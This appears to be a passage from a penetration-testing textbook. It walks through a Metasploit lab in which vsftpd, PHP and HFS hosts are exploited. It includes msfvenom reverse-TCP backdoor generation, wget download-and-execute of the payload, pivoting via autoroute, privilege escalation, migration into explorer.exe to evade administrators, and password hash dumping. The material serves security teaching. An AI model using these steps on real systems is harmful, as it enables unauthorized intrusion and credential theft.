In order to conduct a comprehensive penetration test, threat modeling is required. This phase focuses on modeling out correct threats, their effect, and their categorization based on the impact they can cause. Based on the analysis made during the intelligence-gathering phase, we can model the best possible attack vectors. Threat modeling applies to business asset analysis, process analysis, threat analysis, and threat capability analysis. This phase answers the following set of questions:

Modeling threats will help a penetration tester to perform the following set of operations:

Modeling threats will help to define the highest priority assets with threats that can influence these assets.

Now, let us discuss a third example. Consider a black box test against a company's website. Here, information about the company's clients is the primary asset. It is also possible that in a different database on the same backend, transaction records are also stored. In this case, an attacker can use the threat of a SQL injection to step over to the transaction records database. Hence, transaction records are the secondary asset. Mapping a SQL injection attack to primary and secondary assets is achievable during this phase.

Vulnerability scanners such as Nexpose and the Pro version of Metasploit can help model threats clearly and quickly using the automated approach. This can prove to be handy while conducting large tests.

Vulnerability analysis is the process of discovering flaws in a system or an application. These flaws can vary from a server to web application, an insecure application design for vulnerable database services, and a VOIP-based server to SCADA-based services. This phase generally contains three different mechanisms, which are testing, validation, and research. Testing consists of active and passive tests. Validation consists of dropping the false positives and confirming the existence of vulnerabilities through manual validations. Research refers to verifying a vulnerability that is found and triggering it to confirm its existence.

The exploitation phase involves taking advantage of the previously discovered vulnerabilities. This phase is considered as the actual attack phase. In this phase, a penetration tester fires up exploits at the target vulnerabilities of a system in order to gain access. This phase is covered heavily throughout the book.

The post-exploitation phase is the latter phase of exploitation. This phase covers various tasks that we can perform on an exploited system, such as elevating privileges, uploading/downloading files, pivoting, and so on.

Creating a formal report of the entire penetration test is the last phase to conduct while carrying out a penetration test. Identifying key vulnerabilities, creating charts and graphs, recommendations, and proposed fixes are a vital part of the penetration test report. An entire section dedicated to reporting is covered in the latter half of this book.

Before going to a war, the soldiers must make sure that their artillery is working perfectly. This is exactly what we are going to follow. Testing an environment successfully depends on how well your test labs are configured. Moreover, a successful test answers the following set of questions:

Before we begin to test anything, we must make sure that all the required set of tools are available and that everything works perfectly.

After we run Metasploit, we can list all the workable commands available in the framework by typing help in Metasploit console. Let us recall the basic terms used in Metasploit, which are as follows:

Let us now recall some of the basic commands of Metasploit that we will use in this chapter. Let us see what they are supposed to do:

msf>use exploit/unix/ftp/vsftpd_234_backdoor

msf>use auxiliary/scanner/portscan/tcp

msf>show payloads

msf> show options

msf>set payload windows/meterpreter/reverse_tcp

msf>set LHOST 192.168.10.118

msf> set RHOST 192.168.10.112

msf> set LPORT 4444

msf> set RPORT 8080

msf>setg RHOST 192.168.10.112

msf>run

msf>exploit

msf(ms08_067_netapi)>back

msf>

msf>info exploit/windows/smb/ms08_067_netapi

msf(ms08_067_netapi)>info

msf>search hfs

msf>check

msf>sessions [session number]

Following are the meterpreter commands:

meterpreter>sysinfo

meterpreter>ifconfig

meterpreter>ipconfig (Windows)

meterpreter>arp

meterpreter>background

meterpreter>shell

meterpreter>getuid

meterpreter>getsystem

meterpreter>getpid

meterpreter>ps

One of the top reasons why one should go with Metasploit is because it is open source and actively developed. Various other highly paid tools exist for carrying out penetration testing. However, Metasploit allows its users to access its source code and add their custom modules. The Pro version of Metasploit is chargeable, but for the sake of learning, the community edition is mostly preferred.

It is easy to use Metasploit. However, here, ease of use refers to easy naming conventions of the commands. Metasploit offers great ease while conducting a large network penetration test. Consider a scenario where we need to test a network with 200 systems. Instead of testing each system one after the other, Metasploit offers to test the entire range automatically. Using parameters such as subnet and Classless Inter Domain Routing (CIDR) values, Metasploit tests all the systems in order to exploit the vulnerability, whereas in a manual exploitation process, we might need to launch the exploits manually onto 200 systems. Therefore, Metasploit saves an large amount of time and energy.

Most importantly, switching between payloads in Metasploit is easy. Metasploit provides quick access to change payloads using the set payload command. Therefore, changing the meterpreter or a shell-based access into a more specific operation, such as adding a user and getting the remote desktop access, becomes easy. Generating shell code to use in manual exploits also becomes easy by using the msfvenom application from the command line.

Metasploit is also responsible for making a much cleaner exit from the systems it has compromised. A custom-coded exploit, on the other hand, can crash the system while exiting its operations. This is really an important factor in cases where we know that the service will not restart immediately.

Consider a scenario where we have compromised a web server and while we were making an exit, the exploited application crashes. The scheduled maintenance time for the server is left over with 50 days time. So, what do we do? Shall we wait for the next 50 odd days for the service to come up again, so that we can exploit it again? Moreover, what if the service comes back after being patched? We could only end up kicking ourselves. This also shows a clear sign of poor penetration testing skills. Therefore, a better approach would be to use the Metasploit framework, which is known for making much cleaner exits, as well as offering tons of post-exploitation functions, such as persistence, that can help maintain permanent access to the server.

Metasploit offers friendly GUI and third-party interfaces, such as Armitage. These interfaces tend to ease the penetration testing projects by offering services such as easy-to-switch workspaces, vulnerability management on the fly, and functions at a click of a button. We will discuss these environments more in the latter chapters of this book.

Considering a black box penetration test on an unknown network, we can assume that we are done with the preinteractions phase. We are going to test a single IP address in the scope of the test, with zero knowledge of the technologies running on the target. We are performing the test with Kali Linux, a popular security-based Linux distribution, which comes with tons of preinstalled security tools.

As discussed earlier, the gathering intelligence phase revolves around gathering as much information as possible, about the target. Active and passive scans, which include port scanning, banner grabbing, and various other scans, depends upon the type of target that is under test. The target under the current scenario is a single IP address. So here, we can skip gathering passive information and can continue with the active information-gathering methodology.

Let's start with the internal footprinting phase, which includes port scanning, banner grabbing, ping scans to check whether the system is live or not, and service detection scans.

To conduct internal footprinting, NMAP proves as one of the finest available tools. Reports generated by NMAP can be easily imported into Metasploit. Metasploit has inbuilt database functionalities, which can be used to perform NMAP scans from within the Metasploit framework console and store the results in the database.

The concept of the attack on VSFTPD 2.3.4 is to trigger the malicious vsf_sysutil_extra(); function by sending a sequence of specific bytes on port 21, which, on successful execution, results in opening the backdoor on port 6200 of the system.

The following screenshot of the vulnerable source code will make things much clearer:

We can clearly see that if the bytes in the network buffer match the backdoor sequence of 0x3a (colon) and 0x29, the malicious function is triggered. Furthermore, is we explore the details of the malicious function, we can see the following function definition for the malicious function:

sa.sin_port=6200 serves as the backdoor port and all the commands sent to the service get executed using the execl("/bin/sh","sh",(char *)0); function.

After gaining enough knowledge about the vulnerability, let us now exploit the target system. Let us see what options we need to set before firing the exploit onto the target. We can do this by running the show options command, as shown following:

We can see that we have only two options, which are RHOST and RPORT. We set RHOST as the IP address of the target and RPORT as 21, which is the port of the vulnerable FTP server.

Next, we can check for the matching payloads via the show payloads command to see what payloads are suitable for this particular exploit module. We can see only a single payload, which is cmd/unix/interact. We can use this payload using the set payload cmd/unix/interact command.

Let us now take a step further and exploit the system, as shown in the following screenshot:

Bingo! We got root access to the target system. So, what's next? Since we have got a simple shell, let us try gaining better control over the target by spawning a meterpreter shell.

In order to gain a meterpreter shell, we need to create a client-oriented payload, upload it to the target system, and execute it. So, let's get started:

We can use a great utility called msfvenom to generate a meterpreter payload, as shown in the preceding screenshot. The -p switch defines the payload to use, while LHOST and LPORT define our IP address and port number that ourbackdoor.elf file will connect to in order to provide us meterpreter access to the target. The -f switch defines the output type, and elf is the default extension for the Linux-based systems.

Since we have a normal cmd shell, it would be difficult to upload backdoor.elf file onto the target. Therefore, let us run Apache server and host our malicious file on it:

We run the apache service via the service apache2 start command and move the backdoor file into the default document root directory of the Apache server. Let us now download the file from our Apache server onto the victim system.

We can download the file via the wget command, as shown in the preceding screenshot. Now, in order to allow the victim system to communicate with Metasploit, we need to set up an exploit handler on our system. The handler will allow communication between the target and Metasploit using the same port and payload we used in the backdoor.elf file.

We issue use exploit/multi/handler on a separate terminal in Metasploit and set the payload type as linux/x86/meterpreter/reverse_tcp. Next, we set the listening port via set LPORT 4444 and LHOST as our local IP address. We can now run the module using the exploit command and wait for the incoming connections.

When we download the file onto the target, we provide appropriate permissions to the file via the chmod command, as shown in the following screenshot:

Providing the 777 permission will grant all the relevant read, write, and execute permissions on the file. Execute the file, and now switch to the other terminal, which is running our exploit handler:

Bingo! We got the meterpreter access to the target. Let's find some interesting information using the post exploitation modules:

Running the sysinfo command, we can see that the target is metasploitable (an intentionally vulnerable operating system), its architecture is i686, and the kernel version is 2.6.24-16.

Let's run some interesting commands in order to dive deep into the network:

Running the ifconfig command on the target, we see pretty interesting information, such as an additional network interface, which may lead us to the internal network on which the internal systems may reside. We run the arp command on the target and check if there are some systems already connected or were connected to the exploited system from the internal network, as shown in the following screenshot:

We can clearly see an additional system with the IP address 192.168.20.4 on the internal network. Approaching the internal network, we need to set up pivoting on the exploited machine using the autoroute command:

The autoroute -p command prints all the routing information on a session. We can see we do not have any routes by default. Let us add a route to the target internal network using the autoroute -s 192.168.20.0 255.255.255.0 command. Issuing this command, we can see that the route got successfully added to the routing table, and now all the communication from Metasploit will pass through our meterpreter session to the internal network.

Let us now put the meterpreter session in the background by using the background command as follows:

Since the internal network is now approachable, let us perform a port scan on the 192.168.20.4 system using the auxiliary/scanner/portscan/tcp auxiliary module as follows:

Running the port scan module will require us to set the RHOSTS option to the target's IP address using setg RHOSTS 192.168.20.4. The setg option will globally set RHOSTS value to 192.168.20.4 and thus eliminates the need to retype the set RHOSTS command again and again.

In order to run this module, we need to issue the run command. We can see from the output that there are multiple services running on the 192.168.20.4 system. Additionally, we can see that port 80 is open. Let us try fingerprinting the service running on port 80 using another auxiliary module, auxiliary/scanner/http/http_version, as follows:

Running the auxiliary module, we find that the service running on port 80 is the popular Apache 2.2.8 web server. Exploring the web, we find that the PHP version 5.2.4 is vulnerable and can allow an attacker to gain access over the target system.

Gathering knowledge about the vulnerability, let's try to find the matching Metasploit module in order to exploit the vulnerability:

We can see that we have found the matching exploit from the list of matching modules, as follows:

Let us now try exploiting the vulnerability by loading the matching module in Metasploit, as follows:

We need to set all the required values for the exploit module, as follows:

We can find all the useful payloads that we can use with the exploit module by issuing the show payloads command, as follows:

On the preceding screen, we can see quite a large number of payloads. However, let us set the php/meterpreter/reverse_tcp payload as it provides better options and flexibility than the generic/shell_bind_tcp payload:

Finally, let us assign our local IP address to LHOST as follows:

We are now all set to exploit the vulnerable server. Let's issue the exploit command:

Bingo! We got the access to the internal system running on 192.168.20.4. Let's run a few post exploitation commands such as getwd, which will print the current directory and is similar to the pwd command. The getuid command will print the current user we got access to, and the shell command will spawn a command-line shell on the target system.

Once we drop into the shell, we can run system commands such as uname -a to find out the kernel version, and can also use wget andchmod and execute commands to spawn a similar meterpreter shell as we did on the first system. Running these commands will generate output similar to what is shown in the following screenshot:

Download the same backdoor.elf file onto this server by issuing a wget command or using the download command from meterpreter in order to gain a better quality of access through the PHP meterpreter. This is an important step because say if we need to figure out the ARP details of this host, we won't be able to do that using a PHP meterpreter. Therefore, we need a better access mechanism.

Executing the backdoor.elf file on this machine will provide meterpreter access as follows:

Running the exploit handler on a separate terminal and waiting for the incoming connection, we get the following output as soon as the backdoor.elf file gets executed and connects to our system:

Boom! We made it to the second machine as well. Let's now figure out its ARP details and discover more systems, if any, on the network as follows:

We can see one more system with the IP address 192.168.20.6 on the internal network. However, we do not need to add a route to this machine since the first machine already has a route to the network. Therefore, we just need to switch back to the Metasploit console. Up to this point, we have three meterpreter sessions, as shown in this screenshot:

Since we already have a route to the network of the newly found host, let us perform a TCP scan over the 192.168.20.6 target system using the auxiliary/scanner/portscan/tcp module as follows:

We can see that we have few open ports. We can individually scan popular ports with their relevant modules using Metasploit. Let us scan the HTTP ports 80 and 8080 with the auxiliary/scanner/http/http_header auxiliary module to find what services are running on them as follows:

We can see from the preceding screenshot that we have the latest IIS 8.5 running on port 80, which is a bit difficult to exploit since it doesn't have any high-risk vulnerabilities. However, we have HFS 2.3 running on port 8080, which is prone to a known Remote Code Execution flaw.

Let us find the relevant exploit module via the search command in Metasploit in order to load the exploit for the HFS 2.3 server:

We can see we have the exploit/windows/http/rejetto_hfs_exec module matching the vulnerable target. Let's load this module using the use command and set the RHOST option to the IP address of the target and RPORT to 8080. We must also configure the payload as windows/meterpreter/reverse_tcp and set HOST to our IP address and LPORT to 4444 (or anything usable). Once all the options have been configured, let's see if everything is set properly by issuing the show options command as follows:

We can see that we have everything set on our module and we are good to exploit the system using the exploit command, as follows:

Bingo! We breached the server, and we are inside it. Let us perform some post exploitation tasks as follows:

We successfully gained access to a Windows Server 2012 box with Administrator privileges. Let us issue the getsystem command and escalate the privileges to system level. We can see in the preceding screenshot that the privileges are now changed to SYSTEM.

Let's explore more and run some basic post exploitation commands, such as getpid and ps, which are used to gather the list of running processes. The getpid command is used to print the process ID in which meterpreter resides, as shown in the following screenshot:

We can see that we have the process ID 2036, which corresponds to eIJDRPTHQ.exe. Therefore, if an administrator kills this particular process, our meterpreter session is gone. We must escalate our access to a better process, which should evade the eyes of the administrator. The explorer.exe process is a good option. We will migrate to explorer.exe, the main process on Windows-based distributions, as follows:

Once migrated, we can check the current process ID by issuing the getpid command as shown in the preceding screenshot. We can gather password hashes from the compromised system using the hashdump command, which can be seen in the following screenshot:

After gathering the hashes, we can always execute a pass-the-hash attack and bypass the limitation of not having a plain text password.